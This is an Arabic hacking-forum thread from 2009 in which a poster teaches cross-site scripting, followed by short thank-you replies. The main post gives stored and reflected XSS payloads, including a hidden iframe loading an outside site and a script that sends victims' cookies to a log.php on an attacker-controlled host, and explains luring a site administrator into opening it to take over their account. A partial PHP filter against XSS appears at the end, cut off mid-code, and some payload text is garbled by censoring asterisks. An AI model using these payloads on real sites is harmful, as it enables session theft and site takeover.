ادارة وحماية المواقع / Protection of Web sites حماية المواقع من الأختراق والتلغيم و تأمينها ..

موضوع مغلق
 
LinkBack أدوات الموضوع انواع عرض الموضوع
  #1  
قديم 02-25-2009, 10:46 PM

قرصان جديد

 
تاريخ التسجيل: Feb 2009
العمر: 32
المشاركات: 17
معدل تقييم المستوى: 0
قرصان العراق will become famous soon enough
افتراضي ثغرات xss

[align=center]بسم الله الرحمن الرحيم

السلام عليكم ورحمة الله وبركاته

مساكم الله بالخير .. كيف الحال عساكم بخير ان شاء الله

موضوعنا اليوم .. دراسة حول ثغرات الـ XSS .. والموضوع أمني هكري >> افهمها عاد

ثغرات الـ xss سمعنا فيها كثير .. وكأقرب مثال عندنا ثغرات التحويل بهاك آخر عشرة مواضيع و الاحصائيات

وغيره من السكريبتات ..

مقدمة /

عبارة xss .. هي اختصار للعبارة التالية " Cross Site Scripting " وبعض الأحيان تسمى الثغرات بإسم CSS

ثغرة الـ xss .. باختصار .. هي تمكن المخترق من حقن اكواد html داخل السكريبت المصاب

وتكون عن طريق خطأ برمجي داخل السكريبت ..

الخطورة /

تخيل معي انك داخل موقع ومحصل فيه ثغرة xss .. جاك واحد قال لك .. الحين انت تقدر تضيف للموقع
اي كود html .. سواء اكواد عادية او جافا سكريبت وغيره من توابع لغة html ..
هنا نبدا التفكير .. حنا وش نقدر نسوي بالـ html عشان نحقنها داخل الموقع ؟؟
ما توصلت له من نتايج بحثي البسيطة ..
1- سرقة كوكيز اي شخص داخل نظام السكريبت .
2- تلغيم الموقع بحقن كود html .. لثغرة بمتصح معين لتحميل الباتش بجهاز متصفحين السكريبت .
3- اضافة اي كود جافا سكريبت الى الموقع .
4- اضافة أي كود html بجميع انواعه الى الموقع .

اعتقد كذا الخطورة وضحت .. البعض كان يتوقع ان الثغرات ذي تافهه ومالها معنى .. لكن اللي يفكر زين

يحصل نتايج حلوة واستغلالات أقوى بإذن الله .. على سبيل المثال .. ركزوا على النتيجة رقم 2

تلاحظون ان الخطورة وصلت لحقن باتش بالسكريبت .. ومن ثم ينتشر بجهاز الزوار بمجرد تصفح السكريبت

من بين الزوار مدير السكريبت او صاحب الموقع او صاحب الاستضافة .. تخيلوا معي ان جهازه طاح فيه باتش

وش راح يوصل له الهكر ؟؟

جهازه + ايميله + بيانات المواقع بجهازه ..

وكل نتيجة من النتايج بالأعلى لها خطورة .. كل واحدة أخطر من الثانية للي يفكر ويستغل زين !!

================================
انواع ثغرات الـ XSS ..!!

1- xss داخلي .
2- xss خارجي .
================================

نبدا بتفصيل النوع الأول وهو الـ xss الداخلي ..

بكل بساطه وهي ان يتم حقن الكود داخل الموقع .. عن طريق الـ POST
كمثال ..
ثغرة الـ xss في هاك الاهداءات .. كيف يتم حقن الـ xss داخل المنتدى ؟؟

كل اللي عليك .. تدخل تسوي اضافة اهداء .. مكان محتوى الاهداء اكتب كود الـ html تبعك

كنك على الـ code داخل الفرونت بيج

ثم اضغط زر اضافة .. وسوي تحديث لصفحة المنتدى .. وبتلاحظ ان شريط الاهداءات شغال وفيه اهداءك

محقون بكود html .. يتنفذ في جميع الأجهزة اللي تشاهد الاهداءات !!

هنا نقول عنه حقن داخلي .. لأنه تم عن طريق الـ POST تبع الاهداءات " نموذج اضافة اهداء "

الموضوع الأصلى من هنا: منتديات القرصان http://www.alkrsan.net/forum/showthread.php?t=9904
وبعد الكود داخلي محفوظ ويتنفذ للجميع ..

جرب شف اي سكريبت مصاب بثغرة xss داخليه

احقنه بهالكود

كود:
 <html>
<****** name="I1" ***="http://www.hack15.com" margin*****="1" margin******="1" ******="1" *****="1" scrolling="no" border="0" frameborder="0">
</******>
</******></p>
</html>
بمجرد حقن هذا الكود داخل السكريبت .. سيتم ادراج صفحة hack15.com داخل الموقع بشكل غير مرئي

.. لنفرض ان صفحة hack15.com .. فيها كود سحب الكوكيز .. او ملغومة بباتش .. أو أي كود html آخر خطر !!

وعدا ذلك من الأكواد اللي تقدر تبحث عنها بقوقل .. وتحقنها بسهولة داخل السكريبت المصاب ..

================================================

اما بالنسبة للنوع الثاني ..

ثغرات الـ xss الخارجية ..

هالنوع من الثغرات لايحقن من داخل الموقع .. ولكن من خارج الموقع عن طريق المتصفح من خلال رابط الموقع

ولايتم حفظ الحقن داخل الموقع .. بمعنى أصح .. الكود اللي تحقنه داخل الصفحة .. انت الوحيد اللي تشوفه ..

وبعد ما تستعرضه انت ما راح يشوفه احد غيرك !!

مثال ..

[align=left]
كود:
 www.site.com/show.php?edit=[xss]
[/align]

مثل ما تلاحظون الملف المصاب هو show.php وفيه ثغرة xss في المتغير edit

بمعنى آخر .. اي كود نطبعه بعد علامة " = " يتم عرضه داخل الصفحة ==> لك فقط !!

تعالوا نجرب نحقن كود html لآظهار مربع رسالة خطأ مكتوب فيه .. Hacked By GeNiUs HaCkEr

.. شف الكود

كود:
<<SCRIPT>alert("Hacked By GeNiUs HaCkEr");//<</SCRIPT>
مع دجه بالثغره الافتراضية فوق

الحقن بيكون كذا

كود:
 www.site.com/show.php?edit=<<SCRIPT>alert("Hacked By GeNiUs HaCkEr");//<</SCRIPT>
جرب ادخل الرابط بالأعلى .. بتلاحظ ظهور مربع خطأ مكتوب فيه Hacked By GeNiUs HaCkEr

الحقن خارجي .. وكذلك الحقن ما يظهر إلا لك انت .. بمعنى آخر هالكود ينحقن وينعرض لك ثم ينحذف

ما احد يشوفه غير اللي يدخل رابط الحقن نفسه

هنا بيجي سؤال .. كيف أظهر الحقن ذا للضحية اللي ابيه يشوفه

يعني ارسل رسالة لمدير الموقع اقول له يدخل الرابط ذا

كود:
  www.site.com/show.php?edit=<<SCRIPT>alert("Hacked By GeNiUs HaCkEr");//<</SCRIPT>
؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟

صعبة شوي .. ومالها فايده .. بيفهم الثغرة بالراحة .. ^_^

جاك واحد ثاني قال لا !!

يقول لك اخونا في الله .. شرايكم .. نسوي ملف log.php على موقع ثاني .. مهمته يستقبل اي معلومات توصل له

ويرسلها لايميلك

الآن .. نستخدم ثغرة الـ xss في الموقع .. نعطيها أمر سحب الكوكيز من جهاز الضحية .. ويرسلها لملف log.php

وملف log.php .. يوصلها لنا برسالة .. بعدها حنا .. ناخذ الكوكيز .. ونفكه وندخل بعضوية المدير العام ونخترق السكريبت !!

شف على سبيل المثال نحقن ذا الكود /

كود:
 <Script>dcidcilocation.href="http://www.hack15.com/log/log.php"+dcidcidocument.coockie</Script>
تعالوا نحقنه عن طريق الرابط
كود:
 www.site.com/show.php?edit=<<SCRIPT>dcidcilocation.href="http://www.hack15.com/log/log.php"+dcidcidocument.coockie<</SCRIPT>
الحين اي شخص يدخل الرابط المحقون ذا .. بيسحب الكوكيز من جهازه ويرسلها لملف log.php

كيف نخلي مدير الموقع أو الضحية يفتح الرابط ذا عشان نسحب كوكيزه ؟؟

أو بمعنى أصح كيف الهكر يسحب الكوكيز ويدخلني انا كصاحب سكريبت فيه هالثغره ويسحب كوكيزي ؟؟

بسيطه جداً عالهكر .. يسوي صفحة html عاديه ويضيف لها فريم داخلي مخفي .. ( ****** )

انه فتح لي هالرابط داخل الصفحة بدون ما الاحظ فتحه او افتحه بنفسي

كود:
 www.site.com/show.php?edit=<<SCRIPT>dcidcilocation.href="http://www.hack15.com/log/log.php"+dcidcidocument.coockie<</SCRIPT>

ويرفعه على اي موقع .. ويدخلنا فيه عاد بطريقته ويسحب الكوكيز !!

عاد الهكر .. كل واحد يطور براحته في الثغره .. خاصة اللي يفهم بلغة الجافا سكريبت ..

يسوي أكثر من كذا !!

================================================== ========================

الحل /

ان اكتشفت انه فيه ثغرة داخل ملف add.php مثلاً بأحد السكريبتات بموقعك

فيه طريقتين للحل .. حسب ما بحثت وقريت ..

الحل الأول .. تعدل على الكود .. وتمنع اكواد الـ html من التنفيذ

او تضيف function Remove XSS

حصلته في أحد المواضيع للأخ jadweb.com

وصراحه جربته .. وفعال وناجح !!

مثل الفلتر .. يفلتر لك النصوص بأحد المتغيرات

ظيفة الـ function هي حذف اي ثغرة من نوع XSS بشكل نهائي لو يتم استخدامه

في اي برنامج راح يزيد نسبة الآمان بشكل كبير .

طبعاً هذا كود الـ function
[code]
function RemoveXSS($val) {
// remove all non-printable characters. CR(0a) and LF(0b) and TAB(9) are allowed
// this prevents some character re-spacing such as <java\0script>
// note that you have to handle splits with \n, \r, and \t later since they *are* allowed in some inputs
$val = preg_replace('/([\x00-\x08][\x0b-\x0c][\x0e-\x20])/', '', $val);

// straight replacements, the user should never need these since they're normal characters
// this prevents like <IMG ***=&#X40&#X61&#X76&#X61&#X73&#X63&#X72&#X69&#X70& #X74&#X3A&#X61&#X6C&#X65&#X72&#X74&#X28&#X27&#X58& #X53&#X53&#X27&#X29>
$search = 'abcdefghijklmnopqrstuvwxyz';
$search .= 'ABCDEFGHIJKLMNOPQRSTUVWXYZ';
$search .= '1234567890!@#$%^&*()';
$search .= '~`";:?+/={}[]-_|\'\\';
for ($i = 0; $i < strlen($search); $i++) {
// ;? matches the ;, which is optional
// 0{0,7} matches any padded zeros, which are optional and go up to 8 chars

// &#x0040 @ search for the hex values
$val = preg_replace('/(&#[x|X]0{0,8}'.dechex(ord($search[$i])).';?)/i', $search[$i], $val); // with a ;
// @ @ 0{0,7} matches '0' zero to seven times
$val = preg_replace('/(
Digg this Post!Add Post to del.icio.usBookmark Post in TechnoratiFurl this Post!
  #2  
قديم 05-25-2009, 01:28 AM
الصورة الرمزية Zo-Dns
w0r|D./exit
 
تاريخ التسجيل: Feb 2008
الدولة: r@qi!
المشاركات: 1,368
معدل تقييم المستوى: 10
Zo-Dns is a glorious beacon of lightZo-Dns is a glorious beacon of lightZo-Dns is a glorious beacon of lightZo-Dns is a glorious beacon of lightZo-Dns is a glorious beacon of light
افتراضي

مشكور يا اخونا على الدرس الجيد يالغالي
وعلى جهودك في هذا القسم مع الاخ الحائل
__________________
سبحان الله وبحمده سبحان ربي العالمين

:أمي الولد الذي تحبينه:
:أصبح الرجل الذي تخشيه:
---------------
Management servers | Protection sites| Programming | white hat | network management
everything about penetration and protection

mohammed the messenger of god is in
our hearts
الحمدلله ولا اله الا الله والله اكبر
Digg this Post!Add Post to del.icio.usBookmark Post in TechnoratiFurl this Post!
  #3  
قديم 08-26-2009, 03:38 PM
الصورة الرمزية emproro
Anonymous
 
تاريخ التسجيل: Mar 2009
الدولة: In Your C:\Windows\System32
المشاركات: 697
معدل تقييم المستوى: 10
emproro will become famous soon enough
افتراضي

مشكووووووووووووور
__________________
EMPRORO

.:::: [ حصرياً ] كيفية عمل صفحة مزوة ::::.
.:::: شرح تغرة ByPass خطيره والدخو ... ::::.
.:::: شرح تغراة html الخطيرة وتطبيق .... ::::.
.:::: كيفية ايجاد لوحة تحكم الموقع اسهل ... ::::.


رجعت لكم بعد غياب طويل ... كان عندي مشاكل والحمد لله حفت عني قليلاً


Digg this Post!Add Post to del.icio.usBookmark Post in TechnoratiFurl this Post!
  #4  
قديم 12-03-2009, 01:57 PM

قرصان جديد

 
تاريخ التسجيل: Dec 2009
المشاركات: 1
معدل تقييم المستوى: 0
keeG will become famous soon enough
افتراضي

شكرا على الشرح الجيد
Digg this Post!Add Post to del.icio.usBookmark Post in TechnoratiFurl this Post!
  #5  
قديم 01-25-2010, 11:38 PM

قرصان جديد

 
تاريخ التسجيل: Dec 2009
العمر: 22
المشاركات: 4
معدل تقييم المستوى: 0
kokos will become famous soon enough
افتراضي

مشكورررررر والله
Digg this Post!Add Post to del.icio.usBookmark Post in TechnoratiFurl this Post!
  #6  
قديم 02-02-2010, 06:18 PM

قرصان جديد

 
تاريخ التسجيل: Feb 2010
المشاركات: 8
معدل تقييم المستوى: 0
mehdi sehlouli is on a distinguished road
افتراضي

اشكرك
صراحة انا مبتدا وما فهمت شئ
Digg this Post!Add Post to del.icio.usBookmark Post in TechnoratiFurl this Post!
  #7  
قديم 02-05-2010, 11:03 AM

قرصان مبتدأ

 
تاريخ التسجيل: Feb 2010
المشاركات: 52
معدل تقييم المستوى: 12
B-C40 is on a distinguished road
افتراضي

مشكووور
Digg this Post!Add Post to del.icio.usBookmark Post in TechnoratiFurl this Post!
  #8  
قديم 05-13-2010, 12:01 AM

قرصان جديد

 
تاريخ التسجيل: Nov 2009
المشاركات: 41
معدل تقييم المستوى: 0
الصنديد will become famous soon enough
افتراضي

اولاً حبيت اشكرك اخوي على الدرس الحلو
ولكن سؤالي اخوي الكود اضعه في بدايه او في النهاية

ياليت تحدد بالضبط .. ودنا تفدينا بخبرتك
Digg this Post!Add Post to del.icio.usBookmark Post in TechnoratiFurl this Post!
موضوع مغلق

العلامات المرجعية


يتصفح الموضوع حالياً : 1 (0 عضو و 1 ضيف)
 
أدوات الموضوع
انواع عرض الموضوع

ضوابط المشاركة
لا تستطيع إضافة مواضيع جديدة
لا تستطيع الرد على المواضيع
لا يمكنك اضافة مرفقات
لا يمكنك تعديل مشاركاتك

BB code متاحة
كود [IMG] متاحة
كود HTML معطلة
Trackbacks are معطلة
Pingbacks are معطلة
Refbacks are معطلة



جميع الأوقات بتوقيت GMT +3. الساعة الآن 08:11 AM.


Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2021, Jelsoft Enterprises Ltd.
Content Relevant URLs by vBSEO 3.5.1 PL1

تعريب » القرصان - خدمات الويب

جميع الحقوق محفوظة alkrsan 2006-2014


1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 402 403 404 405 406 407 408 409 410 411 412 413 414 415 416 417 418 419 420 421 422 423 424 425 426 427 428 429 430 431 432 433 434 435 436 437 438 439 440 441 442 443 444 445 446 447 448 449 450 451 452 453 454 455 456 457 458 459 460 461 462 463 464 465 466 467 468 469 470 471 472 473 474 475 476 477 478 479 480 481 482 483 484 485 486 487 488 489 490 491 492 493 494 495 496 497 498 499 500 501 502 503 504 505 506 507 508 509 510 511 512 513 514 515 516 517 518 519 520 521 522 523 524 525 526 527 528 529 530 531 532 533 534 535 536 537 538 539